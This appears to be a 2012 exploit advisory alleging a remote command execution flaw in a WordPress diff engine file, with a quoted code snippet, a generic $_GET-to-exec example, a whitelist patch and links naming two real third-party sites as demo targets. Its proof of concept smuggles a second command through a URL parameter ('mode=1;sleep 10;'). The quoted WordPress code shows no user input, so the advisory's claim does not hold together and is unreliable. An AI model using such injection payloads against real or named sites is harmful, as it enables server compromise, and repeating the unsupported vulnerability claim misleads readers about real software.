WordPress Remote Command Execution

`#########################################################  
Author : Nafsh  
Discovered By : Tapco Security & Research Lab  
Date : 3 Oct 2012  
Home : http://Sec-Lab.Tap-Co.Net  
Contact : [email protected]  
#########################################################  
Source : http://core.svn.wordpress.org/trunk/wp-includes/Text/Diff/Engine/shell.php  
  
Source Of Bug :   
$fp = fopen($to_file, 'w');  
fwrite($fp, implode("\n", $to_lines));  
fclose($fp);  
$diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);  
unlink($from_file);  
unlink($to_file);  
#########################################################  
vulnerability concept:  
  
$_GET + shell_exec() = Command Execution  
  
vulnerability description:  
  
An attacker might execute arbitrary system commands with this vulnerability. User tainted data is used when creating the command that will be executed on the underlying operating system. This vulnerability can lead to full server compromise.  
  
vulnerable example code :  
1: exec("./crypto -mode " . $_GET["mode"]);   
  
proof of concept :  
  
/index.php?mode=1;sleep 10;  
  
patch:  
  
Limit the code to a very strict character subset or build a whitelist of allowed commands. Do not try to filter for evil commands. Try to avoid the usage of system command executing functions if possible.  
  
1: $modes = array("r", "w", "a"); if(!in_array($_GET["mode"], $modes)) exit ;   
r  
#########################################################  
D3m0 :   
  
http://hackrva.org/wp-includes/Text/Diff/Engine/shell.php?Find It In Source=RCE  
  
http://www.hawthorneyoga.com/wp-includes/Text/Diff/Engine/shell.php?Find It In Source=RCE  
#########################################################  
We are : K0242 | Nafsh | Ehram.shahmohamadi  
#########################################################  
Tnx : Am!r | M.R.S.CO All Members In Www.IrIsT.Ir & Www.IdC-TeAm.NeT  
#########################################################  
Greetz : All sec-lab researchers?  
`